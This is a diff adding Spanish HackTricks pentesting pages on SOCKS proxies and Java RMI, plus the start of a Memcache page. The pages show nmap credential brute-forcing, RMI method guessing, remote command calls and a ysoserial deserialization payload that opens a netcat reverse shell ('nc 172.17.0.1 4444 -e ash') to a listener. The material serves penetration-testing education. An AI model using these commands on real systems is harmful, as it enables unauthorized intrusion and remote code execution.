- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
96
network-services-pentesting/1080-pentesting-socks.md
Normal file
96
network-services-pentesting/1080-pentesting-socks.md
Normal file
|
@ -0,0 +1,96 @@
|
|||
# 1080 - Pentesting Socks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
SOCKS es un protocolo de Internet que intercambia paquetes de red entre un cliente y un servidor a través de un servidor proxy. SOCKS5 proporciona opcionalmente autenticación,\
|
||||
por lo que solo los usuarios autorizados pueden acceder a un servidor.
|
||||
|
||||
Prácticamente, un servidor SOCKS hace de proxy para conexiones TCP a una dirección IP arbitraria y proporciona un medio para reenviar paquetes UDP.\
|
||||
SOCKS se ejecuta en la capa 5 del modelo OSI.
|
||||
|
||||
**Puerto predeterminado:** 1080
|
||||
|
||||
## Enumeración
|
||||
|
||||
### Comprobación de autenticación
|
||||
```bash
|
||||
nmap -p 1080 <ip> --script socks-auth-info
|
||||
```
|
||||
### Fuerza Bruta
|
||||
|
||||
#### Uso básico
|
||||
```bash
|
||||
nmap --script socks-brute -p 1080 <ip>
|
||||
```
|
||||
#### Uso avanzado
|
||||
```bash
|
||||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||
```
|
||||
#### Salida
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
1080/tcp open socks
|
||||
| socks-brute:
|
||||
| Accounts
|
||||
| patrik:12345 - Valid credentials
|
||||
| Statistics
|
||||
|_ Performed 1921 guesses in 6 seconds, average tps: 320
|
||||
```
|
||||
## Tunelización y Reenvío de Puertos
|
||||
|
||||
### Uso básico de proxychains
|
||||
|
||||
Configurar proxychains para usar un proxy socks.
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
Lo siguiente es un ejemplo de cómo agregar un proxy SOCKS5 en Burp Suite. En este ejemplo, se utiliza el proxy `127.0.0.1:1080`. Asegúrese de cambiarlo por su propio proxy si está utilizando uno diferente.
|
||||
|
||||
1. Abra Burp Suite y vaya a la pestaña "Proxy".
|
||||
2. Seleccione la pestaña "Options".
|
||||
3. En la sección "Upstream Proxy Servers", seleccione "SOCKS5" en el menú desplegable "Proxy Type".
|
||||
4. En el campo "Proxy Host" ingrese `127.0.0.1`.
|
||||
5. En el campo "Proxy Port" ingrese `1080`.
|
||||
6. Haga clic en el botón "OK" para guardar la configuración.
|
||||
|
||||
Ahora Burp Suite utilizará el proxy SOCKS5 especificado para enrutar todo el tráfico a través de él. Asegúrese de que su proxy esté configurado correctamente y que esté funcionando antes de comenzar a realizar pruebas de penetración.
|
||||
```
|
||||
socks5 10.10.10.10 1080
|
||||
```
|
||||
Con autenticación
|
||||
```
|
||||
socks5 10.10.10.10 1080 username password
|
||||
```
|
||||
#### Más información: [Tunneling y Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
328
network-services-pentesting/1099-pentesting-java-rmi.md
Normal file
328
network-services-pentesting/1099-pentesting-java-rmi.md
Normal file
|
@ -0,0 +1,328 @@
|
|||
# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Información básica
|
||||
|
||||
_La Invocación Remota de Métodos de Java_, o _Java RMI_, es un mecanismo de _RPC_ orientado a objetos que permite que un objeto ubicado en una _máquina virtual de Java_ llame a métodos en un objeto ubicado en otra _máquina virtual de Java_. Esto permite a los desarrolladores escribir aplicaciones distribuidas utilizando un paradigma orientado a objetos. Una breve introducción a _Java RMI_ desde una perspectiva ofensiva se puede encontrar en [esta charla de blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
|
||||
|
||||
**Puerto predeterminado:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
1090/tcp open ssl/java-rmi Java RMI
|
||||
9010/tcp open java-rmi Java RMI
|
||||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
Por lo general, solo los componentes predeterminados de _Java RMI_ (el _RMI Registry_ y el _Activation System_) están vinculados a puertos comunes. Los objetos remotos que implementan la aplicación _RMI_ real suelen estar vinculados a puertos aleatorios, como se muestra en la salida anterior.
|
||||
|
||||
_nmap_ a veces tiene problemas para identificar servicios _SSL_ protegidos de _RMI_. Si encuentra un servicio ssl desconocido en un puerto _RMI_ común, debe investigar más a fondo.
|
||||
|
||||
## Componentes de RMI
|
||||
|
||||
En términos simples, _Java RMI_ permite a un desarrollador hacer que un objeto _Java_ esté disponible en la red. Esto abre un puerto _TCP_ donde los clientes pueden conectarse y llamar a métodos en el objeto correspondiente. A pesar de que esto suena simple, hay varios desafíos que _Java RMI_ necesita resolver:
|
||||
|
||||
1. Para despachar una llamada de método a través de _Java RMI_, los clientes necesitan conocer la dirección IP, el puerto de escucha, la clase o interfaz implementada y el `ObjID` del objeto objetivo (el `ObjID` es un identificador único y aleatorio que se crea cuando el objeto está disponible en la red. Es necesario porque _Java RMI_ permite que varios objetos escuchen en el mismo puerto _TCP_).
|
||||
2. Los clientes remotos pueden asignar recursos en el servidor invocando métodos en el objeto expuesto. La _máquina virtual de Java_ necesita realizar un seguimiento de cuáles de estos recursos todavía están en uso y cuáles de ellos pueden ser recolectados por el recolector de basura.
|
||||
|
||||
El primer desafío se resuelve mediante el _RMI registry_, que es básicamente un servicio de nombres para _Java RMI_. El _RMI registry_ en sí mismo también es un servicio _RMI_, pero la interfaz implementada y el `ObjID` son fijos y conocidos por todos los clientes _RMI_. Esto permite que los clientes _RMI_ consuman el _RMI registry_ solo conociendo el puerto _TCP_ correspondiente.
|
||||
|
||||
Cuando los desarrolladores quieren hacer que sus objetos _Java_ estén disponibles en la red, generalmente los vinculan a un _RMI registry_. El _registry_ almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y el valor `ObjID`) y lo hace disponible bajo un nombre legible por humanos (el nombre vinculado). Los clientes que desean consumir el servicio _RMI_ solicitan al _RMI registry_ el nombre vinculado correspondiente y el registro devuelve toda la información necesaria para conectarse. Por lo tanto, la situación es básicamente la misma que con un servicio _DNS_ ordinario. El siguiente ejemplo muestra un pequeño ejemplo:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import lab.example.rmi.interfaces.RemoteService;
|
||||
|
||||
public class ExampleClient {
|
||||
|
||||
private static final String remoteHost = "172.17.0.2";
|
||||
private static final String boundName = "remote-service";
|
||||
|
||||
public static void main(String[] args)
|
||||
{
|
||||
try {
|
||||
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
|
||||
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
|
||||
String response = ref.remoteMethod(); // Call a remote method
|
||||
|
||||
} catch( Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
El segundo de los desafíos mencionados se resuelve mediante el _Distributed Garbage Collector_ (_DGC_). Este es otro servicio _RMI_ con un valor de `ObjID` bien conocido y está disponible en prácticamente cada punto final _RMI_. Cuando un cliente _RMI_ comienza a usar un servicio _RMI_, envía información al _DGC_ de que el objeto remoto correspondiente está en uso. El _DGC_ puede entonces realizar un seguimiento del recuento de referencias y es capaz de limpiar los objetos no utilizados.
|
||||
|
||||
Junto con el sistema de activación obsoleto, estos son los tres componentes predeterminados de _Java RMI_:
|
||||
|
||||
1. El _Registro RMI_ (`ObjID = 0`)
|
||||
2. El _Sistema de Activación_ (`ObjID = 1`)
|
||||
3. El _Distributed Garbage Collector_ (`ObjID = 2`)
|
||||
|
||||
Los componentes predeterminados de _Java RMI_ han sido vectores de ataque conocidos durante bastante tiempo y existen múltiples vulnerabilidades en versiones obsoletas de _Java_. Desde la perspectiva de un atacante, estos componentes predeterminados son interesantes porque implementan clases / interfaces conocidas y es fácil interactuar con ellos. Esta situación es diferente para los servicios _RMI_ personalizados. Para llamar a un método en un objeto remoto, es necesario conocer la firma del método correspondiente de antemano. Sin conocer una firma de método existente, no hay forma de comunicarse con un servicio _RMI_.
|
||||
|
||||
## Enumeración RMI
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) es un escáner de vulnerabilidades _Java RMI_ que es capaz de identificar automáticamente vulnerabilidades comunes de _RMI_. Siempre que identifique un punto final _RMI_, debería intentarlo:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
[+]
|
||||
[+] - plain-server2
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
||||
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
|
||||
[+] - legacy-service
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
|
||||
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
|
||||
[+] - plain-server
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
||||
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
[+] RMI server String unmarshalling enumeration:
|
||||
[+]
|
||||
[+] - Caught ClassNotFoundException during lookup call.
|
||||
[+] --> The type java.lang.String is unmarshalled via readObject().
|
||||
[+] Configuration Status: Outdated
|
||||
[+]
|
||||
[+] RMI server useCodebaseOnly enumeration:
|
||||
[+]
|
||||
[+] - Caught MalformedURLException during lookup call.
|
||||
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
|
||||
[+] Configuration Status: Non Default
|
||||
[+]
|
||||
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
|
||||
[+]
|
||||
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
|
||||
[+] Vulnerability Status: Vulnerable
|
||||
[+]
|
||||
[+] RMI Security Manager enumeration:
|
||||
[+]
|
||||
[+] - Security Manager rejected access to the class loader.
|
||||
[+] --> The server does use a Security Manager.
|
||||
[+] Configuration Status: Current Default
|
||||
[+]
|
||||
[+] RMI server JEP290 enumeration:
|
||||
[+]
|
||||
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
|
||||
[+] Vulnerability Status: Non Vulnerable
|
||||
[+]
|
||||
[+] RMI registry JEP290 bypass enmeration:
|
||||
[+]
|
||||
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
|
||||
[+] Vulnerability Status: Vulnerable
|
||||
[+]
|
||||
[+] RMI ActivationSystem enumeration:
|
||||
[+]
|
||||
[+] - Caught IllegalArgumentException during activate call (activator is present).
|
||||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
La salida de la acción de enumeración se explica con más detalle en las [páginas de documentación](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del proyecto. Dependiendo del resultado, se debe intentar verificar las vulnerabilidades identificadas.
|
||||
|
||||
Los valores `ObjID` mostrados por _remote-method-guesser_ se pueden utilizar para determinar el tiempo de actividad del servicio. Esto puede permitir identificar otras vulnerabilidades:
|
||||
```
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
[+]
|
||||
[+] ObjNum: -4004948013687638236
|
||||
[+] UID:
|
||||
[+] Unique: 1442798173
|
||||
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
||||
[+] Count: -32760
|
||||
```
|
||||
## Fuerza bruta de métodos remotos
|
||||
|
||||
Incluso cuando no se han identificado vulnerabilidades durante la enumeración, los servicios _RMI_ disponibles aún podrían exponer funciones peligrosas. Además, a pesar de que la comunicación _RMI_ a los componentes predeterminados de _RMI_ está protegida por filtros de deserialización, cuando se habla con servicios _RMI_ personalizados, estos filtros generalmente no están en su lugar. Conocer las firmas de método válidas en los servicios _RMI_ es, por lo tanto, valioso.
|
||||
|
||||
Desafortunadamente, _Java RMI_ no admite la enumeración de métodos en _objetos remotos_. Dicho esto, es posible forzar las firmas de método con herramientas como [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) o [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
[+] 752 methods were successfully parsed.
|
||||
[+] Reading method candidates from internal wordlist rmiscout.txt
|
||||
[+] 2550 methods were successfully parsed.
|
||||
[+]
|
||||
[+] Starting Method Guessing on 3281 method signature(s).
|
||||
[+]
|
||||
[+] MethodGuesser is running:
|
||||
[+] --------------------------------
|
||||
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
|
||||
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
|
||||
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
|
||||
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
|
||||
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
|
||||
[+] [6562 / 6562] [#####################################] 100%
|
||||
[+] done.
|
||||
[+]
|
||||
[+] Listing successfully guessed methods:
|
||||
[+]
|
||||
[+] - plain-server2 == plain-server
|
||||
[+] --> String execute(String dummy)
|
||||
[+] --> String system(String dummy, String[] dummy2)
|
||||
[+] - legacy-service
|
||||
[+] --> void logMessage(int dummy1, String dummy2)
|
||||
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
||||
[+] --> String login(java.util.HashMap dummy1)
|
||||
```
|
||||
Los métodos identificados pueden ser llamados de la siguiente manera:
|
||||
```
|
||||
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
||||
[+] uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
O puedes realizar ataques de deserialización como este:
|
||||
```
|
||||
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
||||
[+] Creating ysoserial payload... done.
|
||||
[+]
|
||||
[+] Attempting deserialization attack on RMI endpoint...
|
||||
[+]
|
||||
[+] Using non primitive argument type java.lang.String on position 0
|
||||
[+] Specified method signature is String execute(String dummy)
|
||||
[+]
|
||||
[+] Caught ClassNotFoundException during deserialization attack.
|
||||
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
|
||||
[+] Deserialization attack probably worked :)
|
||||
|
||||
$ nc -vlp 4444
|
||||
Ncat: Version 7.92 ( https://nmap.org/ncat )
|
||||
Ncat: Listening on :::4444
|
||||
Ncat: Listening on 0.0.0.0:4444
|
||||
Ncat: Connection from 172.17.0.2.
|
||||
Ncat: Connection from 172.17.0.2:45479.
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
Se puede encontrar más información en los siguientes artículos:
|
||||
|
||||
* [Atacando servicios Java RMI después de JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
||||
* [Adivinando métodos](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
||||
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
Además de adivinar, también se debe buscar en motores de búsqueda o en _GitHub_ la interfaz o incluso la implementación de un servicio _RMI_ encontrado. El nombre vinculado y el nombre de la clase o interfaz implementada pueden ser útiles aquí.
|
||||
|
||||
## Interfaces Conocidas
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marca las clases o interfaces como `conocidas` si están listadas en la base de datos interna de servicios _RMI_ conocidos de la herramienta. En estos casos, se puede utilizar la acción `conocida` para obtener más información sobre el correspondiente servicio _RMI_:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
[+]
|
||||
[+] - jmxrmi
|
||||
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
|
||||
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
|
||||
|
||||
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] Name:
|
||||
[+] JMX Server
|
||||
[+]
|
||||
[+] Class Name:
|
||||
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIServer
|
||||
[+]
|
||||
[+] Description:
|
||||
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
|
||||
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
|
||||
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
|
||||
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
|
||||
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
|
||||
[+]
|
||||
[+] Remote Methods:
|
||||
[+] - String getVersion()
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
[+] MLet
|
||||
[+]
|
||||
[+] Description:
|
||||
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
|
||||
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
[+] Deserialization
|
||||
[+]
|
||||
[+] Description:
|
||||
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
|
||||
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
|
||||
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
```
|
||||
## Shodan
|
||||
|
||||
* `port:1099 java`
|
||||
|
||||
## Herramientas
|
||||
|
||||
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
* [rmiscout](https://github.com/BishopFox/rmiscout)
|
||||
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
||||
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Enumeration
|
||||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
274
network-services-pentesting/11211-memcache/README.md
Normal file
274
network-services-pentesting/11211-memcache/README.md
Normal file
|
@ -0,0 +1,274 @@
|
|||
# 11211 - Pentesting Memcache
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
